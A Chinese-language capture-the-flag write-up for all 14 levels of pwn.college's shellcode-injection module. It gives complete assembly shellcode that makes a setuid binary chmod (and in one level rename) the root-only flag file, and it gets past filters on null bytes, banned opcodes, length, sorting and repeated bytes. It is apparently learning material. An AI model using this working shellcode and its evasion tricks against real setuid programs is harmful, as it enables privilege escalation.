Pwn.College Shellcode WP

> 这是完整的，共14个 Level，总共做了三天（Day1 1-12, Day2 14, Day3 13）
>
> 仅作记录并供学习参考使用，照抄没有意义

链接：https://pwn.college/program-security/shellcode-injection/

准备工作和环境说明

为了方便调测，先写下面两个脚本：

test.sh

```
#!/bin/sh
gcc -nostdlib -static $1.s -o $1 && objdump -d $1 && objcopy --dump-section
.text=$1.text $1 && (cat $1.text; cat) | strace -e
trace=chown,setuid,chmod,open,mprotect,execve,rename
/challenge/babyshell_level$1

```

pwn.sh

```
#!/bin/sh
gcc -nostdlib -static $1.s -o $1 && objcopy --dump-section .text=$1.text $1 &&
(cat $1.text; cat) | /challenge/babyshell_level$1

```

需要注意的是，挂 strace （或者其他调试器）都不能过，setuid无效。（我一定不会告诉你我卡了多久）

为了使用这两个脚本，将文件放于同一目录并命名为 1.s, 2.s, ... ，传入序号即可

启动任意环境，可以看到 flag 就在根目录，但权限是 -r-------，只有 root 可以读取。而我们的目标程序有 setuid，可以以 root 执行 syscall（execve 类无效，重载程序会重新设置 euid）。

Level 1 & 2

最简单的，Level1 没有任何限制 ，Level2 随机跳过前2k，只要前面全部 nop 即可(0x90, 原意是 xchg eax,eax)

那就考虑 chmod 之后再 cat，编写 shellcode:

```
.global _start
.intel_syntax noprefix
_start:
    # .fill 0x800,1, 0x90

    mov rax, 90 # 90 chmod, 59 execve
    lea rdi, [rip+argu1]
    mov rsi, 292 # r--r--r--
    #lea rdi, [rip+binsh]
    #lea rsi, [rip+arg]
    #mov rsi, 0
    mov rdx, 0
    syscall
    jmp $
binsh:
    .string "/bin/bash"
argu0:
    .string ""
argu1:
    .string "/flag"
argu2:
    .string "cat /flag"
arg:
    .quad argu0
    .quad argu1
    .quad 0
    .quad argu2
    .quad 0

```

Level 3

这一level 要求我们的 shellcode 没有 0x0，影响到的有 mov 之类，有些立即数高位为 0，此外是字符串末尾自动加0，这个可以去掉，自己写成 BYTE数组就好，我这里是用立即数编码之后作减法，然后利用栈来放置数据并传参到 chmod 中：

```
.global _start
.intel_syntax noprefix
_start:
    # .fill 0x800,1, 0x90
```

```
    mov rax, 0x010101168626d6730
    mov rsi, 0x0101010101010101
    sub rax, rsi
    push rax
    mov rdi, rsp
    xor rax,rax
    xor rsi,rsi
    mov al, 90 # chmod, 59 execve
    # lea rdi, [rip+argu1]
    mov si, 292 # r--r--r--
    # lea rdi, [rip+binsh]
    # lea rsi, [rip+arg]
    # mov rsi, 0
    # mov rdx, 0
    syscall
    jmp $

```

Level 4

> 不可以色色！（下头小春）

这一关要求 shellcode 中没有 'H' (0x48)。不巧的是， mov / add 等一众运算指令都是以 0x48 为前缀的，所以我们必须利用 SMC (Self Modify Code)来动态修改，做法是把原指令以数据形式编码并把 0x48 换成 0x47，然后前面用自增

比较麻烦的是偏移量的计算，因为是位置无关的代码，只能以 RIP 相对寻址，要自己数偏移

```
.global _start
.intel_syntax noprefix
_start:
    # .fill 0x800,1, 0x90
    # mov rax, 0x010101168626d6730
    # mov rsi, 0x0101010101010101
    # sub rax, rsi
    # mov rdi, rsp
    # mov rax, 0x5a
    # lea rdi, [rip+argu1]
    # mov rsi, 292 # r--r--r--
    inc BYTE PTR [rip+6+6]
    inc BYTE PTR [rip+6+7]
    inc BYTE PTR [rip+7+7]

    .BYTE 0x47
```

```
    .BYTE 0xc7
    .BYTE 0xc0
    .BYTE 0x5a
    .BYTE 0x0
    .BYTE 0x0
    .BYTE 0x0
    #lea rdi, [rip+argu1]
    .BYTE 0x47
    .BYTE 0x8d
    .BYTE 0x3d
    .BYTE 0x0b
    .BYTE 0x0
    .BYTE 0x0
    .BYTE 0x0
    #mov rsi, 292 # r--r--r--
    .BYTE 0x47
    .BYTE 0xc7
    .BYTE 0xc6
    .BYTE 0x24
    .BYTE 0x01
    .BYTE 0x0
    .BYTE 0x0
    syscall
    jmp $

argu1:
    .string "/flag"

```

Level 5 & 6

要求我们不能含有 syscall, sysenter，int3

Level6 是 Level5的升级版，前4K不可写(MMU最小的页了)，给了0x2000 的长度。还是老办法，NOP 填充前面

还是 SMC，比 level4 事少 :-}

```
.global _start
.intel_syntax noprefix
_start:
    .fill 0x1000,1,0x90
    inc BYTE PTR [rip+7+7+7]
    mov rax, 0x5a
```

```
    lea rdi, [rip+argu1]
    mov rsi, 292 # r--r--r--
    # syscall
    .BYTE 0x0e
    .BYTE 0x05
    jmp $

argu1:
    .string "/flag"

```

Level 7

没有 stdio，不能 orw，好在我们都在用 chmod :-}

Level1同款代码飘过

Level 8

只有 18 Byte 长度的 shellcode。这不是最极限的，可以精简代码过

注意到 rax 已经被清零，mov al 只要 2Byte

而且运行代码的位置是 mmap 出来的固定区域，可以不用 lea了，只要 5B

Chmod 只有低16位有用，直接用mov si可以只用 4Byte

syscall固定 2Byte,flag字符串共5Byte，没读入的全0了

2+5+4+2+5 =18

```
.global _start
.intel_syntax noprefix
_start:
    # xor rsi,rsi
    mov al, 90 # chmod, 59 execve
    # lea edi, [eip+argu1]
    mov edi, 0x2b0a300d
    mov si, 292 # r--r--r--
    syscall

argu1:
    .string "/flag"

```

Level 9

强制每隔10Byte填充10个0xcc (int3)，只要我们写好 jmp 跳一下就好了

```
.global _start
.intel_syntax noprefix
_start:
    # xor rsi,rsi
    mov al, 90 # chmod, 59 execve
    # lea edi, [eip+argu1]
    mov edi, 0x16ec6028
    jmp $+13
    .space 11,0xcc
    mov si, 292 # r--r--r--
    syscall
    jmp $
    .space 12,0xcc

argu1:
    .string "/flag"
```

Level 10 & 11

给我们的 shellcode 每8字节看作 u64 做冒泡排序，考虑让前面的指令高位值比较大就可以了

Level11 一样，只是多关掉了 stdin，我们不用再读就好了

```
.global _start
.intel_syntax noprefix
_start:
    # xor rsi,rsi
    mov al, 90 # chmod, 59 execve
    # lea edi, [eip+argu1]
    mov edi, 0x1add2010
    .BYTE 0x90
    mov si, 292 # r--r--r--
    syscall
    jmp $

argu1:
```

```
14      .string "/flag"
15
```

注意那个 0x90，是 NOP，也正好是前8Byte的最高位

Level 12

要求 shellcode 不允许包含重复字节，没啥好说的，等效指令替代，chmod 的参数2 esi 只要低字节就好了，高字节随便写点不重复就行

```
1  .global _start
2  .intel_syntax noprefix
3  _start:
4      # xor rsi,rsi
5      mov al, 90 # chmod, 59 execve
6      # lea edi, [eip+argu1]
7      mov edi, 0x2e90d010
8      mov esi, 0x80810124 # r--r--r--
9      syscall
10     jmp $
11
12 argu1:
13     .string "/flag"
14
15
```

Level 13

本系列最麻烦的一个，只有 12Byte 还不可重复读（试过返回到 main 再mmap一次，但是你会失败在 assert）

最大的问题在于，flag 4个字占掉4Byte，只有8B的情况下，不能设置完所有的寄存器，残值也不支持我们这样做

先看看寄存器的残值是什么

```
1  .global _start
2  .intel_syntax noprefix
3  _start:
4      mov rax,0xffff
```

```
5     syscall
```

这里我们将 系统调用号写一个不存在的值进去，然后挂 strace就可以直到常规寄存器有什么了(当然，其他寄存器可以直接 mov rax,... 来构造，一样可以看; gdb的话你能写 shellcode 到合适的时候也行)

然后我们得到：

> syscall_0xffff(0x7fe6ce8047e0, 0x7fe6ce803723, 0x1e8d1000, 0x564178b0d113, 0x16, 0x10) = -1 ENOSYS (Function not implemented)

根据调用约定，我们知道 edx 存了当前 shellcode 的地址（反汇编看也可以知道，是 callq *rdx 跳进来的），rsi,rdi 都不干净，如果留着 rsi 不改，那权限会是 -wx，没有意义

要使我们访问到flag字符串，最简写法是 lea edi, [edx+8]，这会占用 4 Byte，syscall 占用 2B, mov al 占2B，寄了

经过很多尝试之后，发现 rsi 指向的地址存有一个字符串 '\n'，然后就有办法了

注意到 rename syscall 的 rsi 是 newname, 我们只要先 rename 一下 flag，然后再 chmod 就可以了

```
.global _start
.intel_syntax noprefix
_start:
    # rename
    mov al, 82
    lea edi, [edx+8]

    #chmod
    #mov al,90
    #mov rdi, rsi
    #mov sil,0x4

    syscall
argu1:
    .string "flag"

```

然后切到 根目录 去执行（省一个/），可以看到,

> -r-------- 1 root root 57 Jul 28 05:08 flag

变成了

> -r-------- 1 root root 57 Jul 28 05:08 ''$'\n'

然后再执行chmod那部分，权限变为

> -r----Sr-T 1 root root 57 Jul 28 05:08 ''$'\n'

就可以 cat 了！

Level 14

> 终于到最后一题了，但不是最难的

只有 6 Byte的空间，但是没有写保护，可以重新 read

用三条指令构造一个 read，然后就正常了

至于为啥只用三条指令就可以，考虑一下寄存器残值....

```
.global _start
.intel_syntax noprefix
_start:
    xor edi, edi
    mov esi, edx
    syscall

    # Repeat it
    nop
    nop
    nop
    nop
    nop
    nop


    mov rax, 90 # chmod, 59 execve
    lea rdi, [eip+argu1]
    # mov rdx,1000
    mov rsi,292  # r--r--r--
    syscall
    ret
argu1:
    .string "/flag"

```

结语

题目质量不错，由浅入深，后面两题有点费脑子。做不出来还真不好睡觉....